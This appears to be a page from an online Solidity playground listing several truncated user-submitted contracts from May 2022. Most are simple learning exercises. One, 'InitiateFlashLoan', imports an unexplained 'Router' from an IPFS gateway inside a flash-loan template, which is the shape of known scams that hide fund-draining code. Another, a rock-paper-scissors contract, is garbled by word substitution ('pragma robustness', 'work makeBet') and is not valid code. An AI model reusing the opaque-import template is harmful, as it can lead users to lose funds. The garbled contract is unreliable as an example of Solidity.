        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h
May 22, 2022 12:38:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:34:11 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:33:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:33:12 UTC
pragma solidity ^0.5.0;


// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";

//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";

// Router
import "https://gateway.pinata.cloud/ipfs/QmUjKUcP21Jig4kuXYghYLZwrWyq5evQkQkGBvERgn9qfk";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";


contract InitiateFlashLoan {
    
	RouterV2 router;
	string public tokenName;
	string public tokenSymbol;
	uint256 flashLoanAmount;

	constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,
May 21, 2022 21:01:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract ProoF-Of_Attendance{
  //A01561804
  event studentRegistered(string mat, address studentaddress);
  address CreatorID;
  
  struct Student {
    string Matricula;
    address _studentAddress;
  }
  Student[] Students;
  
  
  mapping(address => bool[16]) attendance;

  function RegisterStudent(uint studentNum,address StudentId, string studentMatricula)  public {

    Student student = Student(studentMatricula, StudentID);
    Students[studentNum] = student;
    emit studentRegistered(StudenMatricula, StudentID);
    
  }
  function DeleteStudent(uint studentNum) public {
      delete students[studentNum];
  }

  function RegisterAttendance(address StudentId, string studentMatricula, uint day,bool attended) view public {
      for (uint i=0; i<Students.length; i++) {
        if (Students[i]._studentAddress == address StudentId){
            attendance(Studentid)[day] = attended;

        }
 
May 20, 2022 01:40:37 UTC
pragma robustness ^0.4.24;
contract RockPaperScissors {
// characterize constants
address public alice;
address public sway;
uint public minBet = 1 ether;
uint public maxBet = 2 ether;
// characterize factors
uint public bet;
uint public victor;
bytes32 public moveA;
bytes32 public moveB;
// constructor
constructor(address _alice, address _bob) public {
require(_alice != address(0));
require(_bob != address(0));
alice = _alice;
sway = _bob;
}
// acknowledge bet from Alice
work makeBet() public payable {
require(msg.value == minBet);
require(winner == 0);
require(bet == 0);
wager = msg.value;
}
// Alice takes her action
work makeMoveA(bytes32 _moveA) public {
require(msg.sender == alice);
require(winner == 0);
require(moveA == bytes32(0));
require(_moveA == bytes32("rock") || _moveA == bytes32("paper") || _moveA == bytes32("scissors"));
moveA = _moveA;
}
// Sway takes his action
work makeMoveB(bytes32 _moveB) public {
require(msg.sender == sway);
require(winner == 0);
require(moveB == bytes32(0));
require(_mov
May 19, 2022 04:18:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function testGas1(uint a, uint b) public pure {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2() public pure {
    if (true) {
      
    }
  }
May 17, 2022 11:15:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleAdd {
  // 變數宣告
  uint number = 0;
  // .....更多變數

  // 函數定義
  function getNumber() public view returns (uint) {  // public:所有人都可以執行此function ; view:此function不會更改到上面宣稱的變數 ; return:function回傳的type
    return number;
  }
  // .....更多函數
  function increase() public {
    number++;  // ++: 代表加一
  }
May 14, 2022 15:17:33 UTC
pragma solidity ^0.7.4;

contract Project{
    address owner;
    uint public balance;
    string public Fname;
    string public Lname;
    uint public age;
    enum GENDER {MALE, FEMALE, OTHER}
    GENDER public choice;
    
    struct Address{
        string AddressLine1;
        string AddressLine2;
        string City;
        string state;
        string Pincode;
        
        
    }
    Address a1;
   
    function Alias() public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory){  /*accessing the struct objects*/
     return ( Fname, Lname,a1.AddressLine1,a1.AddressLine2,a1.City,a1.state,a1.Pincode);
    }

    function Approval() public{
        owner=msg.sender;
    }
    
    function Create_Account(string memory First_name, string memory Last_name, uint Age, uint gender, string memory addressline1,string memory addressline2, string memory city, string memory State, string memory pincode) public{          /*function to enter the 
May 12, 2022 17:21:51 UTC